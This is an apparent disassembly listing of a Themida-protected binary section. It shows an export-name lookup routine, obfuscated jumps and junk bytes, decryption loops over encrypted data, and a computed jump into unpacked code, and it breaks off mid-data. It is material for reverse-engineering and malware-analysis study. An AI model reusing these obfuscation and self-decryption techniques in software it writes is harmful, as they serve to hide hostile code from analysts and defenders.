Themida_:005756B1j ; Themida_:005756B9j inc ecx mov ebx, [esp+1Ch] mov edx, [edi] add edx, [esp+20h] add edi, 4 loc_5756A9: ; CODE XREF: Themida_:005756B5j mov al, [edx] test al, al jz short loc_5756B7 cmp al, [ebx] jnz short loc_57569B inc ebx inc edx jmp short loc_5756A9 ; --------------------------------------------------------------------------- loc_5756B7: ; CODE XREF: Themida_:005756ADj cmp al, [ebx] jnz short loc_57569B pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_5756C9: ; CODE XREF: Themida_:005756D3j pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_5756D1: ; CODE XREF: Themida_:00575663j ; Themida_:00575674j xor eax, eax jmp loc_5756C9 ; --------------------------------------------------------------------------- loc_5756D8: ; CODE XREF: Themida_:00575650j mov ecx, edx call loc_5756E7 dec esi loc_5756E0: ; CODE XREF: Themida_:00575720j xchg eax, ebp sub ebp, esp dec ecx sbb [edx], ebx daa loc_5756E7: ; CODE XREF: Themida_:005756DAp jmp loc_5756F1 ; --------------------------------------------------------------------------- dd 2382A580h db 0B9h ; --------------------------------------------------------------------------- loc_5756F1: ; CODE XREF: Themida_:loc_5756E7j pop esi mov ebx, 4A61D0DEh add esi, 6922h push ebx jmp loc_57570F ; --------------------------------------------------------------------------- db 65h dd 99F06836h, 91D3D6DDh db 33h, 18h, 86h ; --------------------------------------------------------------------------- loc_57570F: ; CODE XREF: Themida_:005756FEj pop edx push 1A11h jmp loc_575726 ; --------------------------------------------------------------------------- das mov eax, ds:57389E0Dh jmp short loc_5756E0 ; --------------------------------------------------------------------------- dw 217Ah db 0A0h, 0DBh ; --------------------------------------------------------------------------- loc_575726: ; CODE XREF: Themida_:00575715j pop eax adc dx, 9336h loc_57572C: ; CODE XREF: Themida_:005757AAj mov edi, [esi] movsx edx, si sub edi, 4D6DB8D3h jge loc_575745 jbe loc_575745 mov dl, 72h loc_575745: ; CODE XREF: Themida_:00575737j ; Themida_:0057573Dj xor edi, 65F0F321h jz loc_575756 adc dx, 2C81h loc_575756: ; CODE XREF: Themida_:0057574Bj sub edi, 42C843BFh pusha cmc mov bl, ch popa push edi and dl, 5Ah pop dword ptr [esi] jmp loc_575774 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0B9h, 3Ah, 8Bh dd 0A9E54939h ; --------------------------------------------------------------------------- loc_575774: ; CODE XREF: Themida_:00575767j sub esi, 2 mov ebx, esi dec esi dec esi xor edx, 698A6F67h sub eax, 1 jnz loc_5757A4 xor bx, 0E3B3h jmp loc_5757C1 ; --------------------------------------------------------------------------- dd 0D69345C1h, 18418779h, 0AF71F254h, 31A09748h ; --------------------------------------------------------------------------- loc_5757A4: ; CODE XREF: Themida_:00575784j xor ebx, 2F698FD4h jmp loc_57572C ; --------------------------------------------------------------------------- db 0EFh dd 9252C9FDh, 4A992794h, 9D86D175h, 6D3D4CB4h db 0C7h ; --------------------------------------------------------------------------- loc_5757C1: ; CODE XREF: Themida_:0057578Fj call sub_5757CF sti ; --------------------------------------------------------------------------- db 0Fh dd 0A11C2271h db 7Ch, 5, 18h ; =============== S U B R O U T I N E ======================================= sub_5757CF proc near ; CODE XREF: Themida_:loc_5757C1p jnp loc_5757E7 call sub_5757E6 jmp far ptr 5D06h:5FC80E45h sub_5757CF endp ; --------------------------------------------------------------------------- db 5Ch, 0D2h, 15h db 94h, 10h ; =============== S U B R O U T I N E ======================================= sub_5757E6 proc near ; CODE XREF: sub_5757CF+6p pop edx loc_5757E7: ; CODE XREF: sub_5757CFj pop edi add edi, 6B1Ch and dh, 0C1h sub ebx, ebx js loc_575817 jns loc_575817 jmp loc_575817 ; --------------------------------------------------------------------------- dd 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h db 68h, 0D9h, 0BEh ; --------------------------------------------------------------------------- loc_575817: ; CODE XREF: sub_5757E6+Dj ; sub_5757E6+13j ... push dword ptr [ebx+edi] sub edx, 3CF3D624h pop esi add esi, 3E8A2A06h mov ecx, 2D896138h sub esi, 4EE044CFh sbb ax, 8B9Bh sub esi, 1CCBDE98h jmp loc_57584D ; --------------------------------------------------------------------------- dw 0B919h dd 9E10D608h, 0F78F3A45h db 3Ah ; --------------------------------------------------------------------------- loc_57584D: ; CODE XREF: sub_5757E6+57j mov [edi+ebx], esi add dx, 676Bh sub ebx, 4 jnp loc_575861 mov dx, cx loc_575861: ; CODE XREF: sub_5757E6+72j cmp ebx, 0FFFF95B8h jnz loc_575887 mov dx, 8426h jmp loc_57589E ; --------------------------------------------------------------------------- dw 15CDh dd 0A058FC65h, 7163D328h, 67024F2Eh db 8Ch, 9, 0D9h ; --------------------------------------------------------------------------- loc_575887: ; CODE XREF: sub_5757E6+81j sub cl, 0D2h jmp loc_575817 ; --------------------------------------------------------------------------- db 0F6h dd 0C8FA464Dh, 0AB94660Bh, 78596C3Ch db 0A3h, 9Dh ; --------------------------------------------------------------------------- loc_57589E: ; CODE XREF: sub_5757E6+8Bj jmp loc_575988 ; --------------------------------------------------------------------------- db 10h dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h dd 43F2FD54h, 2222DA53h ; --------------------------------------------------------------------------- loc_575988: ; CODE XREF: sub_5757E6:loc_57589Ej jmp loc_576603 ; --------------------------------------------------------------------------- push 60E9B3Fh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E9C40h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E9D33h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E9DECh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E9E5Eh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E9F00h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60EA07Bh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60EA194h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60EA27Ch jmp loc_543FDB ; --------------------------------------------------------------------------- push 60EA331h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60EA3F5h jmp loc_543FDB ; --------------------------------------------------------------------------- db 89h dd 709D467Dh, 0DECF1425h, 8865FED3h, 77904372h, 72C1122Dh dd 0B588906Bh, 53841AEh, 0E8E731DEh, 0BC899A0Bh, 1E965AA7h dd 0C59A846Ah, 0DE960EFDh, 0A514F8D5h, 0B59D615Ch, 7C896E7Fh dd 0B8C49241h, 0F3D7EE36h, 2BC0C569h, 7D45BD9Fh, 0FAD72089h dd 957B8C79h, 8EABA009h, 3D81E587h, 60B45435h, 0F2CDD73Ah dd 7A455F0Eh, 6964BE96h, 74A1AB15h, 5F1ACB21h, 85146EAAh dd 0A02D87A1h, 0C0132E7Bh, 2D72D227h, 7468AC10h, 0F1CCD980h dd 7F465C0Dh, 0FBD2228Bh, 1FAEEA17h, 0D28A0AB8h, 210586DEh dd 0AB505D57h, 74F0635Eh, 9E0642EAh, 6A893A60h, 0BD256597h dd 57E0C452h, 0D382CF1Ah, 2FC2A94h, 2C35C1EBh, 50FC6h dd 0D5DE2E00h, 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h dd 0B667F559h, 0AEE2566Bh, 0E794F480h, 53413A60h, 68FBE52h dd 57BA2C35h, 42000000h, 754850BDh, 5733BB81h, 0D8C3941Dh dd 5C608EE2h, 0C4313B40h, 876987BEh, 9F05CE6Fh, 0F75BBFBDh dd 3753DB65h, 0B83A60CBh, 70149842h, 0F73A60CBh, 0F1916583h dd 243A60CBh, 59EB717Ch, 133CB9E2h, 8D8CDA1h, 3A60597Ch dd 0FF618FF3h, 2C35354Eh, 0E67Bh, 0D5DE8500h, 0EBE3A923h dd 0C2268CCFh, 0FB01EC7Eh, 0F21C70C4h, 2C3E011Bh, 69AC8Fh dd 8BA54166h, 0F0CDD687h, 7D485D0Ch, 0D8F53EEFh, 45708574h dd 8FB99DF1h, 5AAD58D4h, 89A79B6Fh, 9417BCFDh, 0DFEA3FC3h dd 260CAE0Dh, 84C385A0h, 0B1C896Ah, 4A524A3Eh, 0B6832B31h dd 0B7BD9F4Ah, 0CF0CDD6h, 2F0FD4C8h, 0C3D5C04Dh, 4CC00F4h dd 3A610240h, 4D9FF3C7h, 0CC7A57A0h, 12659022h, 0D17F5327h dd 6C935F05h, 0EAD044h, 0A3B08F95h, 0C8073E42h, 8C704085h dd 74F95EB4h, 0E1000009h, 48A5BE95h, 36D70C3Dh, 0E00DD6EBh dd 4FB8BB9Ah, 6AE90A35h, 0AD90E803h, 7D4059B6h, 0C0FF09E6h dd 94A1F213h, 6AE424Fh, 0C59A8642h, 0DE8E76C5h, 0CA71FBDAh dd 3A40DF7Eh, 0A453B71Bh, 5726FDDFh, 4D817544h, 0D227C0A3h dd 0BD847CE7h, 710D8C33h, 75308BFh, 94C6BBCFh, 18360CC3h dd 0ADF6F884h, 7FAEBC90h, 55A91D2Ch, 0C61B6F87h, 96ECC394h dd 0DF7EF678h, 50BD9FDEh, 3E4EE66Ah, 0EB3A61ACh, 25C43CC9h dd 0C2C36A2h, 0CAh, 0F8D5DEE8h, 965FA514h, 941D6A1Eh, 0AAA5F3C3h dd 0DF1D52Dh, 941B9425h, 0F7C2D7C3h, 0AD76836Ch, 0DCD7E80Eh dd 3C348DBDh, 3C6BA148h, 0C12FBDFh, 9A0BD135h, 0BC94B28Fh dd 0D11B207Ch, 60BF585Dh, 4E95ED42h, 65F78C10h, 6D1F88C1h dd 92F36844h, 17F0529Ah, 201AF917h, 8EB1CB3Ah, 0AB60B855h dd 72E44703h, 9EF2C830h, 70B3DE51h, 5A3D158Ch, 873h, 0A6BD949Eh dd 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch, 93E9046Bh dd 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh, 9A814105h dd 8177C6C5h, 42511EBDh, 68192C43h, 979EE636h, 54F2D6CDh dd 4E9CA3F9h, 98ED475Fh, 0B1C049ADh, 36D03498h, 0A4750BDh dd 0D5DE2BE9h, 50A514F8h, 289FE65h, 66628A14h, 0E9C3941Dh dd 0E3C7FE04h, 1D91F579h, 2C16C394h, 0CCE2BA02h, 0C5398DB8h dd 0D6F37BE1h, 57BD9F05h, 0E0FA0C63h, 0C43FAF11h, 35B9A3B8h dd 46B34800h, 4C7D8865h, 0E03584F8h, 0ED0DF1D5h, 0D466F48Fh dd 0B54D3450h, 0A947BB36h, 82C7AFC7h, 4BD548B8h, 86CEA723h dd 34D2282Ch, 8C79E3D7h, 378F4879h, 677A8D53h, 8F57791h dd 8E18C2FFh, 86FC6266h, 0C36BE52Ch, 2C86FC87h, 30DE3208h dd 0E54D56B7h, 824DA19Ch, 9144CBB7h, 80A718EAh, 0ED000007h dd 54B1A299h, 2E37041h, 0EC19DAF7h, 5BB4AF96h, 5EE57E41h dd 91ACF417h, 615CA542h, 340315F2h, 98B5FE2Fh, 32BAB65Bh dd 0C59A8056h, 0DEF26AD9h, 1414F8D5h, 0DF69F388h, 40EEE32Eh dd 9F1935B4h, 13C03ABDh, 221F6491h, 5FE4B804h, 8C92038Dh dd 63CB9BB5h, 0DC446E4Eh, 7C8974E6h, 20759241h, 3349A115h dd 0E5AAC228h, 3B4E7CC5h, 5E88B5CAh, 5BFB0CE1h, 0B68A7E41h dd 1EC7E52h, 0D7F102F4h, 4ACB23ABh, 80AEE256h, 0DFEA3FEEh dd 0BA97E00Dh, 9354F2D6h, 0A0142172h, 3D2F3448h, 38E80CB3h dd 0D2FD9BDCh, 4E4DA034h, 0B8825048h, 8B5DFCAFh, 40070398h dd 6C7h, 0AE9E032h, 0A4BF8A9Dh, 0D201384Bh, 0DD6ED35h dd 0BEA598E0h, 0E73DD007h, 95EA1BD8h, 4A5A4BA8h, 0F207E073h dd 7DEF1CC7h, 9A809DE9h, 3DA312C5h, 0E4760D6Fh, 9AB50740h dd 5A6988BDh, 50C0622Fh, 0F59115C7h, 7A3A65DDh, 0CF3E2C00h dd 0BB548FBAh, 8FEF536Eh, 608456EDh, 446ED981h, 5ADF223h dd 46E0C4F3h, 1F76F1C9h, 0D28C70F3h, 6559F70h, 76800000h dd 1C6B845Fh, 0CAD9362Dh, 7B836CF7h, 2A6E9F44h, 6289C82Bh dd 954E718Bh, 0C51E2378h, 72E1DC28h, 0AEB58095h, 63678F5Dh dd 0E4C59A83h, 33BDAF15h, 941DCFBBh, 143900C3h, 0E845B193h dd 5978BE6Fh, 93BD91F5h, 0EA710Bh, 9A5744ECh, 15C73BBDh dd 0B1A29FE8h, 82764354h, 0E354DB8h, 0EA5E69BFh, 58247896h dd 0CA9519C3h, 7B4468EDh, 0DF28D507h, 7F42A339h, 0CBE01F2Ah dd 3D261A5Fh, 608AC7D0h, 22F272FBh, 0CA641825h, 0CD562646h dd 239A971Fh, 57AB4E7Ch, 7F78BF98h, 7BDC3692h, 5B3h, 66FDD4DEh dd 90437E89h, 0CE152477h, 79FAD921h, 0AA49748Ch, 0D329C42Bh dd 819677ECh, 3E46A7BCh, 0E633DC07h, 698308EBh, 9A8281C5h dd 0C1B706C5h, 14F8D5DEh, 0FE6550A5h, 0CDD2DCA0h, 587947F0h dd 52260B43h, 0F201EC7Eh, 0F9176BDFh, 5572FF77h, 0FFC3BD9Fh dd 3FB7C10Bh, 3A615A4Bh, 0BC48E6DCh, 3A615ACCh, 0BA0E354Dh dd 1F5C4D3h, 54DCE9C3h, 615AB4D0h, 0E3C73B3Ah, 0A15B6A4Eh dd 2C355388h, 31A1h, 0D6F4F00h, 0E139E476h, 0FC2A6ED2h dd 55BFA72h, 0EED4BD9Fh, 0CABACA1Ah, 356F3A60h, 0C7A940B8h dd 22802C35h, 18000001h, 0DDAC9BEDh, 3509FDC8h, 0D5DE251Bh dd 433C8123h, 980C72A3h, 0C3948FECh, 313B1F63h, 948FC9BDh dd 645EC3h, 7EB7CDBCh, 0F94D7C8Fh, 8F394D85h, 7A80C394h dd 2493F75Bh, 0A716FADEh, 6BF56752h, 948F87C3h, 143208C3h dd 0FB384D3Ch, 948F1773h, 0B78E96C3h, 0CA308FC3h, 12830DD6h dd 4C183603h, 0C394890Dh, 0F56E5BACh, 4E320F18h, 27354E2Eh dd 40CD54B8h, 6D9BD484h, 17826B83h, 0A916BD9Fh, 974CAA40h dd 0F350FEE6h, 720A548Fh, 5DDC03E9h, 0CA1F4F6Ah, 7C089C4Eh dd 0F33A6141h, 7D8F618Fh, 9AB48590h, 6CD73BCAh, 34B8B444h dd 3073B450h, 102D76D7h, 0F3A4D3Ch, 0F96347BBh, 2AC9F40Ch dd 4F98A7FDh, 8C700132h, 388E41C1h, 0A5000004h, 0CF97A51h dd 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh dd 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C59ABD0Eh dd 0BD4A3281h, 830A4750h, 0A5A84679h, 71F3605Fh, 0C568F7CAh dd 0DA52655Dh, 0C394B6AEh, 4BE5D921h, 5F84B1C2h, 800D6FB9h dd 941D186Ch, 0B7ABEFC3h, 1E2378A5h, 47F67EF0h, 28BD9F05h dd 0BE023D47h, 5292665Ah, 3A60CB32h, 0A830BDE7h, 0AA1E257Dh dd 0A746B856h, 822C35C6h, 0D1h, 0F11EBD6Ah, 0B2DA3FDh dd 66B39AB4h, 0CB55E76Bh, 940027A3h, 0B452A8C3h, 887C4359h dd 94061958h, 844F58C3h, 496F27Ah, 2119C394h, 9404A521h dd 0FCD02AC3h, 5F6ABF6Eh, 0FE7997EBh, 0DB120411h, 0FDA9D9E6h dd 0E800F4E8h, 0C95D8F94h, 0BD9F6220h, 0E0BEA59Dh dd 89FD719Ch, 1E3A612Bh, 0B60E1B24h, 4DBE3E9Eh, 796B8369h dd 0F2446C25h, 5CD06288h, 3073E528h, 0C3AD5BBFh, 13C44B1h dd 231266E7h, 0F2CDD730h, 6FB23E75h, 0A265ED8Ch, 31Fh dd 0D201384Ah, 0CD7E235h, 0BAB990E3h, 0D50E354Dh, 6DDE038h dd 4F55A8BFh, 0FD02E370h, 0A2F213C0h, 4A5F48ABh, 0D517E47Fh dd 9ABC3551h, 55CBBAC5h, 78FBDADEh, 35B97A8Fh, 0C3941D51h dd 6B88ECD6h, 0F8D5DEADh, 30B4C614h, 0C3941D54h, 0C449E7DBh dd 285D86B3h, 4ED5A79Fh, 96E3129Ch, 0CCF98DBBh, 2CBD9F05h dd 162973A2h, 60C5AADEh, 2BC53D3Ah, 0F88C202Ch, 4F3A60C5h dd 3630170Bh, 0E6541EBEh, 7D56E0Eh, 0C8BC8196h, 6905AF4h dd 94B28D97h, 2196B5C0h, 8D1B3AE8h, 41661FDAh, 6526267Eh dd 507021DAh, 0DFA39EE9h, 0A85587FBh, 4CC4625Fh, 21CB502Ch dd 2D07E58Dh, 0FA605AF2h, 886EBD68h, 0E7642758h, 0EC1A7ED6h dd 3A391461h, 0F37BB8CDh, 8A323297h, 4C300D16h, 574B8F08h dd 0B17AE598h, 593E1436h, 237h, 0FA7950A2h, 14CFFA0Dh dd 4291A8FBh, 0FD665DA5h, 2E350810h, 57AD4097h, 51A8B68h dd 0BACA3B38h, 62B75083h, 0ED7F8C57h, 9ABF0D79h, 4D3382C5h dd 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 76A7B519h, 0A7F71120h dd 0F3CEDBD5h, 5D7CB0Fh, 9F2338E1h, 16CD35BDh, 8A124E61h dd 2CD96BF1h, 0ED3035DBh, 0A4233DB4h, 0F80DFC40h, 0EB03E9CDh dd 3A60FC9Fh, 68FC2A10h, 446BE45Dh, 7FF7E8D2h, 0FBF00733h dd 10DA613Bh, 0C466B99Ch, 0C0B48E8Ah, 9D4FD4A8h, 0C9E56109h dd 76E4DE8Ch, 95477287h, 0A7E7E30Bh, 1268E8D5h, 819273F4h dd 0F024BBB4h, 0FF4B5515h, 18218h, 0AC9BEF00h, 724F56B7h dd 0C4F504E1h, 0A9A8EE1Fh, 78475D4Ah, 0F6155CFBh, 0A74093A2h dd 17F0635Eh, 0C02D3601h, 0B0599AB7h, 0BE5034B8h dword_576400 dd 68D7C59Ah, 6DD5DEF0h, 64582C1Bh, 207CBC00h, 885DD11Bh ; DATA XREF: Themida_:0053EA7Co dd 0B0BD9F1Ah, 16BAA60Bh, 9A52328Ah, 0B3CE1A18h, 8072105h dd 425C2132h, 73F9821Ah, 6B5CCEFBh, 198D5F44h, 307D2C6Dh dd 43A498E2h, 8F716783h, 3E4557FFh, 699DB82Ch, 0EFF8769h dd 3D1A3409h, 633971C5h, 0FFAD12D8h, 413DB56Dh, 7D0CEE7Fh dd 8F7C78C2h, 7F678F61h, 9D89723Eh, 0A3ABF13Eh, 3923FBDCh dd 490FD1B5h, 0C26C56EDh, 3EEF7D45h, 0E354DF5h, 0CBDCC92Ah dd 987871FEh, 0BF8B517Ah, 0BED8h, 0E0DF2B00h, 0B6839273h dd 183140ADh, 0EDD42ADBh, 0BC839976h, 32C910A7h, 0E30CD7EEh dd 53BCA79Ah, 3CE90A45h, 0F405DEEBh, 0BE94F074h, 0AC1BC59Ah dd 0F8D5DE34h, 0F3881414h, 0A04DDF69h, 0B1957954h, 941DD5B1h dd 0C6605AC3h, 9F19D73Eh, 0B4C7A8BDh, 0F9DD3185h, 394DE173h dd 8E3A60E7h, 11E5D821h, 0B42FD93Dh, 638992EAh, 6E4E9BCBh dd 1AEED444h, 886B66B3h, 0F003F27Ch, 0D11175D9h, 30727FB5h dd 2726C03Ah, 0D313E7D2h, 6C51AD3Ch, 1C85001Ah, 0C8253E0Bh dd 0A20217BFh, 0B2067A57h, 27967A5Eh, 0E11CE0DFh, 0A8FD22A3h dd 5CA9469Dh, 104F9D61h, 5A8480Ch, 45BA54A4h, 3, 0DE9C84EFh dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh dd 2EB5F66h, 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 8951242Ch, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 5B2F68h, 242C8900h dd 0F7BD5552h, 0BA223B00h, 0E3D39860h, 895DEA01h, 8B545AD6h dd 0C483242Ch, 0BD555604h, 0DF41DFFh, 4246C29h, 8458F5Dh dd 0FF084581h, 0FF0DF41Dh, 835D2434h, 348B04C4h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 0FCD9DEE9h, 0AFAD72FFh db 0F4h, 49h, 0EAh ; --------------------------------------------------------------------------- loc_576603: ; CODE XREF: sub_5757E6:loc_575988j mov eax, 60EA4D8h add eax, ebp jmp eax sub_5757E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 7048248Fh, 7CA3E563h, 30D80F8Dh, 0C5929E9h, 4766337h dd 7F8D502Eh, 13A83635h, 3C8F4CF4h, 0D954ADFh, 45061660h dd 3A6C174Eh, 5B3AF794h, 4FB50673h, 2AEAB80Ah, 7E94687Fh dd 3C754B1Dh, 13AD1262h, 71542837h, 9567F01h, 72EB9B07h dd 68C345ABh, 50003B61h, 1034B408h, 196C3F6Eh, 4D443BF8h dd 578F1D0h, 4E5313BAh, 15FF7D5Ah, 279B1611h, 148E9h, 5000h dd 5400h, 5800h, 5C00h, 6000h, 6400h, 6800h, 6C00h, 0B000h dd 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h dd 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h dd 0EC00h, 38h dup(0) dd 5766E500h, 0A050EB00h, 0E1858D00h, 0E8060EA5h, 0Fh dd 0E86D0468h, 0AAE95620h, 0FF9CDF80h, 50D8818Ch, 5F5EFE8Bh dd 0A7218589h, 85C6060Eh, 60B2845h, 3D9D8B54h, 68060B32h dd 0A62F36B2h, 5E9h, 0FDE7C200h, 481D831h, 33317724h, 8E948h dd 0D2AA0000h, 0A095BFA3h, 0B5FF7D8Fh, 60B1355h, 286DBD8Bh dd 858D060Bh, 60E7D18h, 26E18D8Bh, 0D0FF060Bh, 1061BD31h dd 8589060Bh, 60EA725h, 4DE9F5h, 9D090000h, 60B1F9Dh, 21B58B56h dd 89060EA7h, 21858306h, 4060EA7h, 8D60C35Eh, 0EA5E1B5h dd 560FEB06h, 36FF006Ah, 0A72595FFh, 835E060Eh, 3E8304C6h dd 61EC7500h, 0A236BAC3h, 8531247Ch, 60B1AB1h, 0DB816060h dd 7D71A0CAh, 8D6161FCh, 0EA7C285h, 0BF666006h, 0BD8B2086h dd 60B0F49h, 1D858961h, 0EB060B10h, 0C0000039h, 0C002CC00h dd 0C002E400h, 0 dd 2737600h, 1B7F4647h, 0A77E976h, 1733722h, 0B344D4Fh dd 211A7C4Eh, 23564C76h, 206E4A22h, 3B746752h, 0E7F734Ah dd 57A8046h, 6CF21622h, 4F1A2022h, 0E644D37Ch, 0EE1E2C56h dd 781E2066h, 291A0222h, 0F225C274h, 0D2933D51h, 6911419Bh dd 0AD9B46D7h, 0AF91D769h, 6D6785A9h, 0DA390229h, 691122B7h dd 6AA7BCA1h, 1A1A8629h, 0BEA7C32Bh, 6F1C2B0Bh, 3C4A0956h dd 0D6A2C8A9h, 0E61A0426h, 643037A7h, 75878C24h, 901C8D91h dd 0EC421BF1h, 6433F19Fh, 786E1024h, 0D6A25B72h, 0E61A0426h dd 643037A7h, 66878C24h, 901C8D92h, 5421BF1h, 6CF27122h dd 4F1A1022h, 0E643CB7Bh, 0EE1E206Eh, 731E2666h, 2E1A0122h dd 0AA934373h, 47DE2AFFh, 0E6595245h, 6438B1BFh, 3054B124h dd 6F7064AFh, 6F19EA74h, 313A0122h, 1B93DEE1h, 2B9B4406h dd 6F0D2406h, 395C1022h, 0B48C05E1h, 6F1FED16h, 0B1C00222h dd 0E4E5DDA4h, 391AEAE2h, 6F1A43CAh, 0AC440022h, 4B6E997Ch dd 4B5E8926h, 6F1A1926h, 0AC4C4422h, 3702C4A0h, 322F616Eh dd 9E9A082Bh, 2A9FE690h, 391C1B0Ah, 6EC3B5A9h, 5A720229h dd 9BB2213h, 5B9BF9A9h, 0E793E706h, 6297CB1Fh, 901C2B00h dd 64094597h, 6C920724h, 91A0422h, 7CF3D5A9h, 151A0122h dd 14F6EC23h, 715ECAC3h, 7157FEA1h, 16223008h, 0EA97F923h dd 6914793Ah, 5ECAFDDAh, 64145C97h, 0DA1EEA24h, 0DE2D286Bh dd 10A4DE41h, 0EE46E8D2h, 31D32C26h, 6F7005BEh, 6F19EA70h dd 353A0122h, 3B93DAE1h, 2B9B4406h, 6F022406h, 3D581022h dd 0C25A31E1h, 0B09B14A7h, 6B9C9C26h, 6F1A0FCAh, 8DF3B22h dd 32AE2CABh, 0C5FF150h, 0E4B8BAE1h, 641599AFh, 27725E24h dd 956BFF8h, 5B9BD6A9h, 0D2C22406h, 3C1A2A6Eh, 6F1A23CAh dd 0AC413022h, 4B468179h, 4B5E8526h, 6F1A1826h, 0AC494222h dd 7DFD61ECh, 579D50Ah, 4EAF2922h, 901C1B3Bh, 8E9781F2h dd 0E61C0F2Dh, 61B213A7h, 9791F824h, 6F184C27h, 7A9FC922h dd 0EC1C2E8Ah, 0EA9308E2h, 6914A03Bh, 83A3C411h, 9C1A0220h dd 381A6B88h, 6F1A83CAh, 0AC456022h, 4B66A97Dh, 4B5E9126h dd 6F1A1126h, 0AC4D4322h, 9D74C043h, 0D291FFD1h, 6911A8AFh dd 39FAA9A2h, 4C27ADABh, 0A9441629h, 64324DA7h, 0B59B4724h dd 2C9F6F53h, 48B794A9h, 83728629h, 0DEF98587h, 4B2EA124h dd 10B8DE90h, 87480848h, 6F1A0421h, 35D95802h, 6B3E55ABh dd 6B3EC4A3h, 6F1A403Eh, 0D3D97260h, 0B4EAAAE4h, 987A36BCh dd 6F1A15CBh, 5434E722h, 1385CEC1h, 56621F49h, 0CCD2C20Ah dd 90E6640Fh, 64094597h, 381A6224h, 6F1A07CAh, 0AC452222h dd 4B66887Dh, 4B5E0126h, 6F1A5726h, 0AC4D6722h, 8C775180h dd 0C92EB89Dh, 779F8965h, 601C0C5Fh, 0BFE5F39Dh, 0E6CC372Dh dd 6403C5A7h, 3A1A4A24h, 6F1A13CAh, 0AC472822h, 4B768D7Fh dd 4B5E8326h, 6F1A1926h, 0AC4FC522h, 4F5DB11Ah, 6F10C95Dh dd 0E9FD1022h, 1BC79F79h, 9FC615B6h, 4C7F87AFh, 6AF20729h dd 621A8022h, 493D9B55h, 4D37BDABh, 0E6441629h, 643529A7h dd 381A6E24h, 6F1A01CAh, 0AC452122h, 4B66097Dh, 4B5EC126h dd 6F1A3426h, 0AC4D5722h, 668F2137h, 0A91C0F2Ah, 643247A7h dd 0EE7C5224h, 779ABC0h, 979B29FEh, 6F16AF2Dh, 3D4A1022h dd 5E155175h, 0B423BB44h, 6B9B5A78h, 40C4FD06h, 7D938F26h dd 601A4022h, 6F1A2CA1h, 6F1DF922h, 6BFF0822h, 0A6044EAAh dd 3AAFFD1Fh, 51C0A31h, 6CF2D122h, 4F1A4022h, 0E643E37Bh dd 0EE1E346Eh, 741E2C66h, 2E1A0422h, 9DFBC173h, 5434E41Eh dd 0EA974FC1h, 69143D3Ah, 90EA972Dh, 3C1A7AF2h, 6F1A0BCAh dd 0AC412422h, 4B468B79h, 4B5E8026h, 6F1A9926h, 0AC490322h dd 0B2AECC75h, 7BF39F61h, 0D81A0822h, 624795F7h, 5DB579A0h dd 0D8EDE3D6h, 3757D6Fh, 60CBC900h, 6F1A26A5h, 0BA979922h dd 0E61C0329h, 6428D9A7h, 0E978924h, 0A91C0A23h, 6432C5A7h dd 0EB151324h, 6F1A2021h, 7CAA72Dh, 94DB263Dh, 0EECC8F44h dd 85B62616h, 0D14A22FBh, 6B608BFAh, 3AAFBF78h, 0E61C2B31h dd 64020D97h, 779F8524h, 51C0A5Fh, 6CF25022h, 4F1A0122h dd 0E6404378h, 0EE1E6476h, 7B1E0466h, 2D1A1022h, 9091CB70h dd 3E1A6EF2h, 6F1A01CAh, 0AC432122h, 4B56097Bh, 4B5EC126h dd 6F1A3D26h, 0AC4B5122h, 0ACCE2551h, 6E796787h, 0EF150F99h dd 6F1A0124h, 788B1513h, 0EA934629h, 6911281Fh, 0A9E2A72Dh dd 64324DA7h, 6F704324h, 6F19EA72h, 373A0122h, 2B93D8E1h dd 2B9B4406h, 6F072406h, 3F5A1022h, 8A61B8E1h, 5596E691h dd 38E1D142h, 3540F874h, 6FAB352Bh, 0AA724629h, 3FBD97B2h dd 2650AE70h, 5E150629h, 0E47C5672h, 92B0DDCh, 35F2BD98h dd 0EE42DA7Ah, 22766416h, 0F293304Bh, 69113A4Bh, 7C4FBDDDh dd 6F700229h, 6F19EA75h, 